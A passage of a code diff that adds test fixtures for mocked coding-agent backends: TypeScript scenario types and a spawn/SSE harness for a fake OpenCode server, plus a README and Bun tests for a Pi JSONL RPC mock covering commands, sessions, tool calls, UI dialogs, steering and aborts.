data: { sessionID } }); + expect((deleted.durable as JsonObject).version).toBe(2); + expect((await api.call("GET", `/api/session/${sessionID}`)).status).toBe( + 404, + ); + }, + TEST_TIMEOUT, + ); +}); diff --git a/scripts/fixtures/agents/opencode/scenario.ts b/scripts/fixtures/agents/opencode/scenario.ts new file mode 100644 index 00000000..db5f13d6 --- /dev/null +++ b/scripts/fixtures/agents/opencode/scenario.ts @@ -0,0 +1,143 @@ +// Scenario contract for scripts/fixtures/agents/opencode/fake-server.ts. Steps +// are generation-neutral; the fake renders them as 1.x `/event` payloads +// (`{type, properties}`) or 2.x `/api/event` envelopes (`{id, created, type, +// durable?, location, data}`). README.md next to this file has examples. +import type { JsonObject } from "../shared/fixture-io"; + +export type { JsonObject }; + +export type OpenCodeGeneration = 1 | 2; + +/** Steps keyed by outcome; `"*"` is the fallback. */ +export type OpenCodeBranches = Record; + +export type OpenCodeStep = + /** Assistant text; an array streams one delta per entry. */ + | { type: "text"; text: string | string[] } + | { type: "reasoning"; text: string | string[] } + /** + * A tool call: pending → running → completed/error parts (1.x) or + * `session.tool.input.*` → `called` → `progress` → `success`/`failed` (2.x). + * `permission` asks before the tool runs; a `reject` reply fails the tool. + */ + | { + type: "tool"; + tool: string; + callID?: string; + input: JsonObject; + output?: string; + title?: string; + metadata?: JsonObject; + /** Fail the tool with this message. */ + error?: string; + durationMs?: number; + permission?: { + permission: string; + patterns?: string[]; + metadata?: JsonObject; + }; + } + /** + * `permission.asked`, then wait for the reply (`once` / `always` / + * `reject`). `permission` is the 1.x permission name and the 2.x action. + */ + | { + type: "permission"; + permission: string; + patterns?: string[]; + metadata?: JsonObject; + message?: string; + branches?: OpenCodeBranches; + } + /** 1.x `question.asked`; branch keys `replied`, `rejected`. */ + | { type: "question"; questions: JsonObject[]; branches?: OpenCodeBranches } + /** 2.x `form.created`; branch keys `replied`, `cancelled`. */ + | { + type: "form"; + title: string; + fields: JsonObject[]; + metadata?: JsonObject; + branches?: OpenCodeBranches; + } + /** Any event, already in the generation's wire shape (`{type, properties}` or `{type, data}`). */ + | { type: "event"; event: JsonObject } + | { type: "delay"; ms: number } + /** Fail the run: 1.x `session.error`, 2.x `session.step.failed` + `session.execution.failed`. */ + | { type: "error"; message: string; name?: string } + /** Never finish on its own; abort/interrupt still ends the run. */ + | { type: "hang" }; + +export type OpenCodePromptScript = { + /** Picks this script when the prompt text contains `match`. */ + match?: string; + steps?: OpenCodeStep[]; + /** Step finish reason. Default `stop`. */ + finish?: string; + tokens?: { + input: number; + output: number; + reasoning?: number; + cacheRead?: number; + cacheWrite?: number; + }; + cost?: number; + /** Answer the prompt request with this HTTP status and JSON body instead. */ + reject?: { status: number; body: unknown }; +}; + +export type OpenCodeFakeScenario = { + /** Server version. Defaults: 1.x `1.18.32`, 2.x `2.0.18`. */ + version?: string; + /** Directory reported for sessions and `location`. Default: the server's cwd. */ + directory?: string; + /** Raw `GET /provider` (1.x) or `GET /api/provider` (2.x) body. */ + providers?: unknown; + /** Raw `GET /api/model` body (2.x). */ + models?: unknown; + /** Raw `GET /agent` (1.x) or `GET /api/agent` (2.x) body. */ + agents?: unknown; + /** Raw `GET /api/command` (2.x) or `GET /command` (1.x) body. */ + commands?: unknown; + /** Sessions that already exist, by id. */ + sessions?: Array<{ id: string; title?: string; directory?: string }>; + /** + * Turn scripts, picked by `match` then in order (the last repeats). 2.x + * prompts go through the session inbox: `delivery:"steer"` (the default + * when the field is left out, as on 2.0.18) joins the running execution at + * its next step boundary or starts one when the session is idle, + * `delivery:"queue"` runs as a later execution, `resume:false` stays in + * the inbox. + */ + prompts?: OpenCodePromptScript[]; + /** SSE keep-alive period. 2.x writes a `: heartbeat` comment (default 15 s); 1.x a `server.heartbeat` event (default 10 s). */ + heartbeatMs?: number; + /** 1.x: emit `session.error` (MessageAbortedError) on abort. Default true. */ + abortEmitsSessionError?: boolean; + /** + * 2.x: also publish `session.status` busy/idle and `session.idle` around + * each execution. Off by default: the 2.0.24 client types still list both + * events, but a 2.0.18 server never sent them in t3code's recordings; a + * 2.x run ends with `session.execution.succeeded|failed|interrupted`. + */ + emitSessionStatus?: boolean; +}; + +/** One request the fake received. */ +export type OpenCodeFakeRequest = { + method: string; + path: string; + query: Record; + headers: Record; + body: unknown; +}; + +export const OPENCODE_FAKE_GENERATION_ENV = "SENTINEL_OPENCODE_FAKE_GENERATION"; +export const OPENCODE_FAKE_SCENARIO_ENV = "SENTINEL_OPENCODE_FAKE_SCENARIO"; +export const OPENCODE_FAKE_SCENARIO_FILE_ENV = + "SENTINEL_OPENCODE_FAKE_SCENARIO_FILE"; +export const OPENCODE_FAKE_LOG_ENV = "SENTINEL_OPENCODE_FAKE_LOG"; + +/** Basic credentials both generations accept: user `opencode`. */ +export function openCodeBasicAuth(password: string): string { + return `Basic ${Buffer.from(`opencode:${password}`, "utf8").toString("base64")}`; +} diff --git a/scripts/fixtures/agents/opencode/test-harness.ts b/scripts/fixtures/agents/opencode/test-harness.ts new file mode 100644 index 00000000..bfb491d8 --- /dev/null +++ b/scripts/fixtures/agents/opencode/test-harness.ts @@ -0,0 +1,103 @@ +// Spawns fake-server.ts the way Sentinel spawns `opencode serve` and parses its +// readiness output; plus a minimal SSE reader for the 2.x tests. Not a test file. +import { fileURLToPath } from "node:url"; + +import type { JsonObject } from "../shared/fixture-io"; +import { + spawnFixture, + waitFor, + type FixtureProcess, +} from "../shared/test-support"; +import { + OPENCODE_FAKE_GENERATION_ENV, + OPENCODE_FAKE_SCENARIO_ENV, + type OpenCodeFakeScenario, + type OpenCodeGeneration, +} from "./scenario"; + +export const FAKE_OPENCODE_PATH = fileURLToPath( + new URL("./fake-server.ts", import.meta.url), +); + +export type SpawnedOpenCode = { + fixture: FixtureProcess; + url: string; + /** The password the server prints (2.x without OPENCODE_PASSWORD), else the one passed in. */ + password: string | null; +}; + +export async function spawnFakeOpenCode( + generation: OpenCodeGeneration, + scenario: OpenCodeFakeScenario = {}, + env: Record = {}, +): Promise { + const fixture = spawnFixture(FAKE_OPENCODE_PATH, { + args: ["serve", "--hostname=127.0.0.1", "--port=0"], + env: { + [OPENCODE_FAKE_GENERATION_ENV]: String(generation), + [OPENCODE_FAKE_SCENARIO_ENV]: JSON.stringify(scenario), + OPENCODE_SERVER_PASSWORD: undefined, + OPENCODE_PASSWORD: undefined, + ...env, + }, + }); + const pattern = + generation === 1 + ? /^opencode server listening on (http:\/\/\S+)$/m + : /^server listening on (http:\/\/\S+)$/m; + const url = await waitFor( + () => pattern.exec(fixture.stdoutText())?.[1], + "readiness line", + ); + let password: string | null = + (generation === 1 ? env.OPENCODE_SERVER_PASSWORD : env.OPENCODE_PASSWORD) ?? + null; + if (generation === 2 && password === null) { + password = await waitFor( + () => /^server password (\S+)$/m.exec(fixture.stdoutText())?.[1], + "password line", + ); + } + return { fixture, url, password }; +} + +export type SseItem = { data?: JsonObject; comment?: string }; + +/** + * Reads a `text/event-stream` body: `data:` lines become parsed events, `:` + * lines are comments (heartbeats). Stops when `signal` aborts. + */ +export async function readSse( + response: Response, + onItem: (item: SseItem) => void, +): Promise { + if (!response.body) throw new Error("SSE response has no body"); + const reader = response.body.getReader(); + const decoder = new TextDecoder(); + let buffer = ""; + try { + for (;;) { + const { value, done } = await reader.read(); + if (done) return; + buffer += decoder.decode(value, { stream: true }).replace(/\r\n?/g, "\n"); + for ( + let index = buffer.indexOf("\n\n"); + index !== -1; + index = buffer.indexOf("\n\n") + ) { + const block = buffer.slice(0, index); + buffer = buffer.slice(index + 2); + const data: string[] = []; + for (const line of block.split("\n")) { + if (line.startsWith("data:")) data.push(line.slice(5).trimStart()); + else if (line.startsWith(":")) + onItem({ comment: line.slice(1).trim() }); + } + if (data.length > 0) + onItem({ data: JSON.parse(data.join("\n")) as JsonObject }); + } + } + } catch (error) { + if ((error as Error).name !== "AbortError") throw error; + } +} diff --git a/scripts/fixtures/agents/pi/README.md b/scripts/fixtures/agents/pi/README.md new file mode 100644 index 00000000..29a4b1b9 --- /dev/null +++ b/scripts/fixtures/agents/pi/README.md @@ -0,0 +1,178 @@ +# Pi RPC mock + +`mock-rpc.ts` stands in for `pi --mode rpc` from `@earendil-works/pi-coding-agent` 1.0.4. It speaks Pi's strict JSONL protocol on stdio: one JSON object per LF-terminated record, split only on LF (never on U+2028 or U+2029 inside strings), with a trailing CR stripped on input. + +Command, response, event and extension UI shapes follow the package's `docs/rpc.md`, `docs/rpc-commands.md`, `docs/json.md`, `docs/rpc-extension-ui.md` and `dist/modes/rpc/rpc-types.d.ts`, and the subset t3code's `PiRpc.ts` / `PiAdapterV2.ts` consume. + +It is a fixture, not a test, and app code must never import it. + +```sh +SENTINEL_PI_MOCK_SCENARIO='{"prompts":[{"steps":[{"type":"text","text":["Hel","lo"]}]}]}' \ +SENTINEL_PI_MOCK_LOG=/tmp/pi.jsonl \ +bun scripts/fixtures/agents/pi/mock-rpc.ts +``` + +| Variable | Meaning | +| -------------------------------- | ------------------------------------------------------------------- | +| `SENTINEL_PI_MOCK_SCENARIO` | Scenario as inline JSON. Wins over the file variable. | +| `SENTINEL_PI_MOCK_SCENARIO_FILE` | Path to a scenario JSON file. | +| `SENTINEL_PI_MOCK_LOG` | Append every received record to this JSONL file (`PiMockLogEntry`). | + +The scenario type is `PiMockScenario` in [`scenario.ts`](./scenario.ts). [`test-driver.ts`](./test-driver.ts) is a minimal LF-framed client with id-correlated `request()`, an event list and `waitForEvent()`. + +## Protocol summary + +- Commands are `{id?, type, …}`. Responses are `{id, type:"response", command, success:true, data?}` or `{…, success:false, error}`. Malformed JSON gets `{type:"response", command:"parse", success:false, error:"Failed to parse command: …"}` without an id. +- `prompt` answers `{disposition:"started"}` before the run's events, `{disposition:"handled"}` (no run) or, while a run is active, needs `streamingBehavior` `"steer"` or `"followUp"` (`{disposition:"queued"}`); without it the command fails with Pi's "Agent is already processing…" error. +- Every other stdout record is an event or an `extension_ui_request`. `extension_ui_response` records on stdin answer dialogs by id and get no response. + +## Commands + +`prompt` (with `images` and `streamingBehavior`), `steer`, `follow_up`, `abort`, `clear_queue`, `new_session`, `get_state`, `get_messages`, `set_model`, `cycle_model`, `get_available_models`, `set_thinking_level`, `cycle_thinking_level`, `get_available_thinking_levels`, `set_steering_mode`, `set_follow_up_mode`, `compact`, `set_auto_compaction`, `set_auto_retry`, `abort_retry`, `bash`, `abort_bash`, `get_session_stats`, `export_html`, `switch_session`, `fork`, `clone`, `get_fork_messages`, `get_entries` (with `since`), `get_tree`, `get_last_assistant_text`, `set_session_name`, `get_commands`. Unknown types fail with `Unknown command: `. + +State the commands read and change: + +```json +{ + "state": { + "sessionId": "s1", + "sessionFile": "/p/s1.jsonl", + "sessionName": "Fix", + "thinkingLevel": "medium", + "model": "anthropic/claude-sonnet-4-20250514", + "autoCompactionEnabled": true + }, + "models": [ + { + "id": "gpt-5.6", + "name": "GPT-5.6", + "api": "openai-responses", + "provider": "openai", + "reasoning": true, + "thinkingLevelMap": { "xhigh": "xhigh" } + } + ], + "thinkingLevels": ["off", "low", "high"], + "commands": [ + { + "name": "fix-tests", + "source": "prompt", + "sourceInfo": { "path": "/p/fix-tests.md" } + } + ], + "messages": [], + "entries": [], + "sessions": { + "/p/other.jsonl": { "sessionId": "other", "messages": [], "entries": [] } + }, + "sessionStats": { "cost": 1.5 }, + "compaction": { + "summary": "…", + "firstKeptEntryId": "e1", + "tokensBefore": 1000, + "estimatedTokensAfter": 200 + }, + "systemMessage": true, + "bash": { "ls": { "output": "a.ts\n", "exitCode": 0 } }, + "cancelled": { + "new_session": false, + "switch_session": false, + "fork": false, + "clone": false + } +} +``` + +- `sessionFile: null` behaves like `--no-session`. `model: null` starts without a model. +- Available thinking levels follow Pi's ladder (`off` … `max`) filtered by the model's `reasoning` flag and `thinkingLevelMap` (`xhigh` and `max` only when mapped), unless `thinkingLevels` is set. +- `switch_session {sessionPath}` loads `sessions[sessionPath]` (unknown paths fail). `fork {entryId}` keeps the entries before that user entry and returns its text. `cancelled` makes these operations report `{cancelled:true}` like an extension veto. +- `set_thinking_level` emits `thinking_level_changed`; `set_session_name` emits `session_info_changed`; `compact` emits `compaction_start` / `compaction_end` with `reason:"manual"`; `bash` emits `bash_execution_update` with the command id. +- `compactFailure` makes `compact` fail like Pi 1.0 with nothing to compact (t3code's `pi_compaction` recording): `compaction_start`, `compaction_end` with `errorMessage: "Compaction failed: "` and no `result`, then `success:false` with `error: `, e.g. `"Nothing to compact (session too small)"`. (`commandErrors.compact` fails without the events.) +- `systemMessage` opens a session's first run with its leading system message, as Pi 1.0 does: `message_start` / `message_end` with `role:"system"` (`content`, `sections`, `toolsAdded`, `timestamp`) between `turn_start` and the user message. `true` sends a default; an object is merged over `{role:"system", content:""}`. It joins the session's messages, so later runs (and sessions that already hold one) get none; `new_session` starts over. + +## Prompt scripts + +```json +{ + "prompts": [ + { "match": "/review", "disposition": "handled" }, + { "match": "nope", "reject": "No API key for anthropic" }, + { + "steps": [ + { "type": "thinking", "text": ["Let me ", "look."] }, + { "type": "text", "text": "Checking." }, + { + "type": "toolCall", + "name": "bash", + "args": { "command": "ls" }, + "updates": [{ "content": [{ "type": "text", "text": "a" }] }], + "result": { + "content": [{ "type": "text", "text": "a.ts" }], + "details": {} + } + }, + { + "type": "ui", + "method": "confirm", + "fields": { "title": "Run rm?", "message": "rm -rf build" }, + "branches": { "confirmed": [], "declined": [], "cancelled": [] } + }, + { "type": "text", "text": "Done." } + ], + "stopReason": "stop", + "usage": { + "input": 120, + "output": 30, + "cacheRead": 0, + "cacheWrite": 0, + "totalTokens": 150, + "cost": { + "input": 0, + "output": 0, + "cacheRead": 0, + "cacheWrite": 0, + "total": 0 + } + } + } + ] +} +``` + +Script selection works like the ACP mock: `match` (substring of the message), then unmatched scripts in order, repeating the last. A run emits `agent_start`, `turn_start`, the user `message_start`/`message_end`, then the steps, the final assistant `message_end` (`stopReason` default `stop`, optional `errorMessage`), `turn_end`, `agent_end {messages, willRetry:false}` and `agent_settled`. + +| Step | Events | +| ----------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `text` / `thinking` (`text` string or array of deltas) | `message_update` with `text_start`, `text_delta`…, `text_end {content}` (or `thinking_*`), each carrying the cumulative `usage` | +| `toolCall {id?, name, args, updates?, durationMs?, result?, isError?}` | `toolcall_start/delta/end`, the assistant `message_end` (`stopReason:"toolUse"`), `tool_execution_start`, one `tool_execution_update` per `updates` entry, `tool_execution_end`, the `toolResult` message and `turn_end`; the next content opens a new turn | +| `ui {method, fields?, branches?}` | `extension_ui_request {id, method, …fields}`. Dialogs (`confirm`, `select`, `input`, `editor`) wait for the matching `extension_ui_response` and branch on `confirmed` / `declined` (confirm), the `value` (select, input, editor), `cancelled` or `timeout` (`fields.timeout` ms). `notify`, `setStatus`, `setWidget`, `setTitle` and `set_editor_text` are fire-and-forget | +| `compaction {reason?, result?, aborted?, willRetry?, errorMessage?, durationMs?}` | `compaction_start` / `compaction_end` | +| `retry {attempt?, maxAttempts?, delayMs?, errorMessage?, success?, finalError?, waitMs?}` | `auto_retry_start` / `auto_retry_end` | +| `extensionError {extensionPath?, event?, error}` | `extension_error` | +| `event {event}` | any raw record | +| `delay {ms}`, `hang` | wait (abortable); `hang` never ends on its own | +| `stdout {lines}`, `stderr {text, repeat?}`, `exit {code?, signal?}` | noise and crashes | + +Steering and follow-ups: `prompt` with `streamingBehavior`, `steer` and `follow_up` during a run emit `queue_update`. Steering messages are delivered at the next tool boundary (the current script stops there), follow-ups after the script ends; each runs its own selected script within the same `agent_start` … `agent_settled` run. `abort` ends the run with an `aborted` assistant message (`abortErrorMessage`), then `agent_end` and `agent_settled`, before the abort response. + +## Faults + +```json +{ + "commandErrors": { "set_model": "Model not found" }, + "commandDelays": { "get_available_models": 2000 }, + "hangCommands": ["get_state"], + "faults": { + "startupStdout": ["not json"], + "startupStderr": "…", + "stderrFloodBytes": 65536, + "crlf": true, + "splitFramesBytes": 5, + "exitAfterMs": 100, + "exitCode": 1, + "exitOnStdinClose": true + } +} +``` + +`crlf` ends every record with CRLF and `splitFramesBytes` writes records in small chunks, so clients prove their framing. Closing stdin aborts any run and exits 0 unless `exitOnStdinClose` is false. diff --git a/scripts/fixtures/agents/pi/mock-rpc.test.ts b/scripts/fixtures/agents/pi/mock-rpc.test.ts new file mode 100644 index 00000000..13cc9ece --- /dev/null +++ b/scripts/fixtures/agents/pi/mock-rpc.test.ts @@ -0,0 +1,917 @@ +import { afterEach, describe, expect, it } from "bun:test"; + +import type { JsonObject } from "../shared/fixture-io"; +import { killAllFixtures, waitFor, withTimeout } from "../shared/test-support"; +import type { PiMockScenario } from "./scenario"; +import { startPiDriver, type PiDriver } from "./test-driver"; + +const TEST_TIMEOUT = 20_000; +const drivers: PiDriver[] = []; + +function start(scenario: PiMockScenario = {}) { + const driver = startPiDriver(scenario); + drivers.push(driver); + return driver; +} + +afterEach(async () => { + await Promise.all(drivers.splice(0).map((driver) => driver.dispose())); + await killAllFixtures(); +}); + +const settled = (driver: PiDriver, count = 1) => + waitFor( + () => + driver.events().filter((event) => event.type === "agent_settled") + .length >= count, + "agent_settled", + ); + +const eventTypes = (driver: PiDriver) => + driver.records.map((record) => + record.type === "message_update" + ? `update:${String((record.assistantMessageEvent as JsonObject).type)}` + : record.type === "message_start" || record.type === "message_end" + ? `${String(record.type)}:${String((record.message as JsonObject).role)}` + : record.type === "response" + ? `response:${String(record.command)}` + : String(record.type), + ); + +describe("Pi RPC mock: commands", () => { + it( + "answers state, model and thinking commands with Pi's response shapes", + async () => { + const driver = start({ + commands: [ + { + name: "fix-tests", + description: "Fix failing tests", + source: "prompt", + sourceInfo: { + path: "/p/fix-tests.md", + source: "local", + scope: "project", + origin: "top-level", + }, + }, + ], + }); + const state = await driver.request("get_state"); + expect(state).toMatchObject({ + type: "response", + command: "get_state", + success: true, + data: { + model: { id: "claude-sonnet-4-20250514", provider: "anthropic" }, + thinkingLevel: "medium", + isStreaming: false, + isCompacting: false, + sessionFile: expect.stringMatching(/\.jsonl$/), + sessionId: expect.any(String), + messageCount: 0, + pendingMessageCount: 0, + }, + }); + + const models = await driver.request("get_available_models"); + expect( + (models.data as { models: JsonObject[] }).models.map( + (m) => `${m.provider}/${m.id}`, + ), + ).toEqual(["anthropic/claude-sonnet-4-20250514", "openai/gpt-5.6"]); + expect( + await driver.request("set_model", { + provider: "openai", + modelId: "gpt-5.6", + }), + ).toMatchObject({ + success: true, + data: { id: "gpt-5.6", provider: "openai" }, + }); + expect( + await driver.request("set_model", { provider: "x", modelId: "y" }), + ).toMatchObject({ + success: false, + error: "Model not found: x/y", + }); + expect( + await driver.request("get_available_thinking_levels"), + ).toMatchObject({ + data: { levels: ["off", "minimal", "low", "medium", "high"] }, + }); + const thinking = await driver.request("set_thinking_level", { + level: "high", + }); + expect(thinking).toEqual({ + id: thinking.id, + type: "response", + command: "set_thinking_level", + success: true, + }); + expect(driver.events()).toContainEqual({ + type: "thinking_level_changed", + level: "high", + }); + expect(await driver.request("cycle_model")).toMatchObject({ + data: { + model: { id: "claude-sonnet-4-20250514" }, + thinkingLevel: "high", + isScoped: false, + }, + }); + expect(await driver.request("get_commands")).toMatchObject({ + data: { commands: [{ name: "fix-tests", source: "prompt" }] }, + }); + expect(await driver.request("teleport")).toMatchObject({ + command: "teleport", + success: false, + error: "Unknown command: teleport", + }); + + driver.send({ broken: true } as JsonObject); + driver.fixture.child.stdin.write("{nope\n"); + const parse = await waitFor( + () => driver.records.find((record) => record.command === "parse"), + "parse error", + ); + expect(parse).toMatchObject({ + type: "response", + command: "parse", + success: false, + }); + expect(parse).not.toHaveProperty("id"); + expect(String(parse.error)).toStartWith("Failed to parse command:"); + expect(driver.log().map((entry) => entry.kind)).toContain("unparsable"); + }, + TEST_TIMEOUT, + ); + + it( + "manages sessions, entries, forks, names, stats and bash", + async () => { + const driver = start({ + sessions: { + "/sessions/old.jsonl": { + sessionId: "old", + sessionName: "Old work", + messages: [ + { + role: "user", + content: [{ type: "text", text: "earlier" }], + timestamp: 1, + }, + { + role: "assistant", + content: [{ type: "text", text: "reply" }], + timestamp: 2, + }, + ], + entries: [ + { + type: "message", + id: "e-1", + parentId: null, + timestamp: "2026-10-01T00:00:00.000Z", + message: { + role: "user", + content: [{ type: "text", text: "earlier" }], + timestamp: 1, + }, + }, + { + type: "message", + id: "e-2", + parentId: "e-1", + timestamp: "2026-10-01T00:00:01.000Z", + message: { + role: "assistant", + content: [{ type: "text", text: "reply" }], + timestamp: 2, + }, + }, + ], + }, + }, + bash: { "ls -la": { output: "total 0\n", exitCode: 0 } }, + }); + expect( + await driver.request("switch_session", { + sessionPath: "/sessions/missing.jsonl", + }), + ).toMatchObject({ + success: false, + }); + expect( + await driver.request("switch_session", { + sessionPath: "/sessions/old.jsonl", + }), + ).toMatchObject({ + success: true, + data: { cancelled: false }, + }); + expect(await driver.request("get_state")).toMatchObject({ + data: { + sessionId: "old", + sessionFile: "/sessions/old.jsonl", + sessionName: "Old work", + }, + }); + expect( + await driver.request("get_entries", { since: "e-1" }), + ).toMatchObject({ + data: { entries: [{ id: "e-2" }], leafId: "e-2" }, + }); + expect( + await driver.request("get_entries", { since: "zzz" }), + ).toMatchObject({ success: false }); + expect(await driver.request("get_fork_messages")).toMatchObject({ + data: { messages: [{ entryId: "e-1", text: "earlier" }] }, + }); + expect(await driver.request("get_tree")).toMatchObject({ + data: { + tree: [ + { entry: { id: "e-1" }, children: [{ entry: { id: "e-2" } }] }, + ], + leafId: "e-2", + }, + }); + expect(await driver.request("get_last_assistant_text")).toMatchObject({ + data: { text: "reply" }, + }); + expect(await driver.request("fork", { entryId: "e-1" })).toMatchObject({ + data: { text: "earlier", cancelled: false }, + }); + const forked = await driver.request("get_state"); + expect((forked.data as JsonObject).sessionId).not.toBe("old"); + + expect( + await driver.request("set_session_name", { name: " " }), + ).toMatchObject({ + success: false, + error: "Session name cannot be empty", + }); + expect( + await driver.request("set_session_name", { name: "Feature" }), + ).toMatchObject({ success: true }); + expect(driver.events()).toContainEqual({ + type: "session_info_changed", + name: "Feature", + }); + + const bash = await driver.request("bash", { command: "ls -la" }); + expect(bash.data).toEqual({ + output: "total 0\n", + exitCode: 0, + cancelled: false, + truncated: false, + }); + expect(driver.events()).toContainEqual({ + type: "bash_execution_update", + id: bash.id, + delta: "total 0\n", + }); + expect(await driver.request("get_session_stats")).toMatchObject({ + data: { + sessionId: expect.any(String), + tokens: { total: 0 }, + contextUsage: { contextWindow: 200000 }, + }, + }); + expect( + await driver.request("new_session", { + parentSession: "/sessions/old.jsonl", + }), + ).toMatchObject({ + data: { cancelled: false }, + }); + expect(await driver.request("get_messages")).toMatchObject({ + data: { messages: [] }, + }); + expect(await driver.request("export_html")).toMatchObject({ + data: { path: "/tmp/pi-session.html" }, + }); + }, + TEST_TIMEOUT, + ); +}); + +describe("Pi RPC mock: runs", () => { + it( + "streams a full run: response, thinking, text, tool execution, settle", + async () => { + const driver = start({ + prompts: [ + { + steps: [ + { type: "thinking", text: ["Let me ", "look."] }, + { type: "text", text: "Listing files." }, + { + type: "toolCall", + id: "call_1", + name: "bash", + args: { command: "ls" }, + updates: [ + { content: [{ type: "text", text: "partial" }], details: {} }, + ], + result: { + content: [{ type: "text", text: "a.ts\n" }], + details: { exitCode: 0 }, + }, + }, + { type: "text", text: ["Found ", "a.ts"] }, + ], + usage: { + input: 10, + output: 5, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 15, + cost: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + total: 0.001, + }, + }, + }, + ], + }); + const response = await driver.request("prompt", { + message: "what is here?", + images: [{ type: "image", data: "aGk=", mimeType: "image/png" }], + }); + expect(response).toEqual({ + id: response.id, + type: "response", + command: "prompt", + success: true, + data: { disposition: "started" }, + }); + await settled(driver); + + expect(eventTypes(driver)).toEqual([ + "response:prompt", + "agent_start", + "turn_start", + "message_start:user", + "message_end:user", + "message_start:assistant", + "update:thinking_start", + "update:thinking_delta", + "update:thinking_delta", + "update:thinking_end", + "update:text_start", + "update:text_delta", + "update:text_end", + "update:toolcall_start", + "update:toolcall_delta", + "update:toolcall_end", + "message_end:assistant", + "tool_execution_start", + "tool_execution_update", + "tool_execution_end", + "message_start:toolResult", + "message_end:toolResult", + "turn_end", + "turn_start", + "message_start:assistant", + "update:text_start", + "update:text_delta", + "update:text_delta", + "update:text_end", + "message_end:assistant", + "turn_end", + "agent_end", + "agent_settled", + ]); + const user = driver.records[3]?.message as JsonObject; + expect(user.content).toEqual([ + { type: "text", text: "what is here?" }, + { type: "image", data: "aGk=", mimeType: "image/png" }, + ]); + const delta = driver.records.find( + (record) => record.type === "message_update", + ); + expect(Object.keys(delta ?? {})).toEqual([ + "type", + "usage", + "assistantMessageEvent", + ]); + expect( + driver.records.find((record) => record.type === "tool_execution_end"), + ).toEqual({ + type: "tool_execution_end", + toolCallId: "call_1", + toolName: "bash", + result: { + content: [{ type: "text", text: "a.ts\n" }], + details: { exitCode: 0 }, + }, + isError: false, + }); + const finalMessage = driver.records + .filter((record) => record.type === "message_end") + .at(-1)?.message as JsonObject; + expect(finalMessage).toMatchObject({ + role: "assistant", + stopReason: "stop", + content: [{ type: "text", text: "Found a.ts" }], + usage: { totalTokens: 15 }, + }); + const end = driver.records.find((record) => record.type === "agent_end"); + expect( + (end?.messages as JsonObject[]).map((message) => message.role), + ).toEqual(["user", "assistant", "toolResult", "assistant"]); + expect(await driver.request("get_session_stats")).toMatchObject({ + data: { + userMessages: 1, + assistantMessages: 2, + toolCalls: 1, + toolResults: 1, + }, + }); + }, + TEST_TIMEOUT, + ); + + it( + "asks extension UI dialogs and branches on extension_ui_response", + async () => { + const driver = start({ + prompts: [ + { + steps: [ + { + type: "ui", + method: "confirm", + fields: { title: "Run bash?", message: "rm -rf build" }, + branches: { + confirmed: [{ type: "text", text: "confirmed" }], + declined: [{ type: "text", text: "declined" }], + }, + }, + { + type: "ui", + method: "select", + fields: { title: "Pick", options: ["Allow", "Block"] }, + branches: { + Allow: [{ type: "text", text: "allowed" }], + "*": [{ type: "text", text: "other" }], + }, + }, + { + type: "ui", + method: "input", + fields: { title: "Name?", placeholder: "type", timeout: 200 }, + branches: { timeout: [{ type: "text", text: "timed out" }] }, + }, + { + type: "ui", + method: "notify", + fields: { message: "heads up", notifyType: "warning" }, + }, + { + type: "ui", + method: "editor", + fields: { title: "Edit", prefill: "a\nb" }, + branches: { + cancelled: [{ type: "text", text: "editor cancelled" }], + }, + }, + ], + }, + ], + }); + await driver.request("prompt", { message: "go" }); + const respond = async (method: string, reply: JsonObject) => { + const request = await driver.waitForEvent( + (event) => + event.type === "extension_ui_request" && event.method === method, + method, + ); + driver.send({ + type: "extension_ui_response", + id: request.id, + ...reply, + }); + return request; + }; + const confirm = await respond("confirm", { confirmed: true }); + expect(confirm).toEqual({ + type: "extension_ui_request", + id: expect.any(String), + method: "confirm", + title: "Run bash?", + message: "rm -rf build", + }); + await respond("select", { value: "Allow" }); + await respond("editor", { cancelled: true }); + await settled(driver); + + const texts = driver.records.flatMap((record) => { + const event = record.assistantMessageEvent as JsonObject | undefined; + return event?.type === "text_end" ? [event.content] : []; + }); + expect(texts).toEqual([ + "confirmed", + "allowed", + "timed out", + "editor cancelled", + ]); + expect(driver.events()).toContainEqual({ + type: "extension_ui_request", + id: expect.any(String), + method: "notify", + message: "heads up", + notifyType: "warning", + }); + expect( + driver.log().filter((entry) => entry.kind === "ui_response"), + ).toHaveLength(3); + }, + TEST_TIMEOUT, + ); + + it( + "queues steering while streaming and delivers it at the next tool boundary", + async () => { + const driver = start({ + prompts: [ + { + match: "change course", + steps: [{ type: "text", text: "steered reply" }], + }, + { + steps: [ + { type: "text", text: "working" }, + { + type: "toolCall", + name: "read", + args: { path: "a.ts" }, + durationMs: 400, + }, + { type: "text", text: "dropped after steering" }, + ], + }, + ], + }); + await driver.request("prompt", { message: "start" }); + await driver.waitForEvent( + (event) => event.type === "tool_execution_start", + "tool start", + ); + + const busy = await driver.request("prompt", { message: "change course" }); + expect(busy).toMatchObject({ + success: false, + error: + "Agent is already processing. Specify streamingBehavior ('steer' or 'followUp') to queue the message.", + }); + const steer = await driver.request("prompt", { + message: "change course", + streamingBehavior: "steer", + }); + expect(steer).toMatchObject({ + success: true, + data: { disposition: "queued" }, + }); + expect(driver.events()).toContainEqual({ + type: "queue_update", + steering: ["change course"], + followUp: [], + }); + expect(await driver.request("get_state")).toMatchObject({ + data: { isStreaming: true, pendingMessageCount: 1 }, + }); + await settled(driver); + + const users = driver.records.flatMap((record) => + record.type === "message_end" && + (record.message as JsonObject).role === "user" + ? [ + (record.message as { content: Array<{ text: string }> }) + .content[0]?.text, + ] + : [], + ); + expect(users).toEqual(["start", "change course"]); + const texts = driver.records.flatMap((record) => { + const event = record.assistantMessageEvent as JsonObject | undefined; + return event?.type === "text_end" ? [event.content] : []; + }); + expect(texts).toEqual(["working", "steered reply"]); + expect( + driver.events().filter((event) => event.type === "agent_start"), + ).toHaveLength(1); + expect( + driver.events().filter((event) => event.type === "agent_settled"), + ).toHaveLength(1); + }, + TEST_TIMEOUT, + ); + + it( + "aborts a hung run: aborted message, agent_end and agent_settled before the abort response", + async () => { + const driver = start({ + prompts: [ + { + steps: [{ type: "text", text: "thinking hard" }, { type: "hang" }], + }, + ], + }); + await driver.request("prompt", { message: "go" }); + await driver.waitForEvent( + (event) => + (event.assistantMessageEvent as JsonObject | undefined)?.type === + "text_end", + "text", + ); + const abort = await driver.request("abort"); + expect(abort).toEqual({ + id: abort.id, + type: "response", + command: "abort", + success: true, + 